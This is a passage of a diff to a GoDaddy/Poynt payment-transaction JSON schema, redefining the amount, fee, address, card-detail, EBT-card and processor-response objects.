in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } }, - "required": [ - "feeType" - ] + "title": "Address Details", + "type": "object" }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + }, + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-processing-instruction.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Instructions on how the card should be processed", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" }, - "properties": { - "amountType": { + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/ebt-card.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "EBT Card", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" - } + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "required": [ - "amountType" - ] - }, - "amounts": { - "description": "Total amount after this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, - "required": [ - "amount", - "currency" - ] + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" } }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { + "properties": { + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, - "required": [ - "feeType" - ] + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } }, - "description": "Fees if any" - } + "type": "object" + }, + "type": "array" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "type": "object" }, - "properties": { - "amountType": { - "type": "string" - } + "number": { + "description": "Card number", + "type": "string" }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z." - }, - "exchangeRate": { - "type": "object", - "properties": { - "businessId": { - "type": "string" - }, - "cardAmount": { - "type": "integer", - "format": "int64" - }, - "cardCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - }, - "cardTipAmount": { - "type": "integer", - "format": "int64" - }, - "disclaimer": { - "type": "string" - }, - "markupInfo1": { - "type": "string" - }, - "markupInfo2": { - "type": "string" - }, - "markupPercentage": { - "type": "string" - }, - "provider": { - "type": "string" - }, - "rate": { - "type": "integer", - "format": "int64" - }, - "ratePrecision": { - "type": "integer", - "format": "int64" - }, - "requestedAt": { - "type": "string", - "format": "date-time" - }, - "signature": { - "type": "string" - }, - "tipAmount": { - "type": "integer", - "format": "int64" - }, - "txnAmount": { - "type": "integer", - "format": "int64" - }, - "txnCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - } + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" }, - "description": "Exchange rate used for this adjustment." - }, - "processorResponse": { - "description": "This object includes some important response elements received from the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "description": "Type of EBT card used", + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": 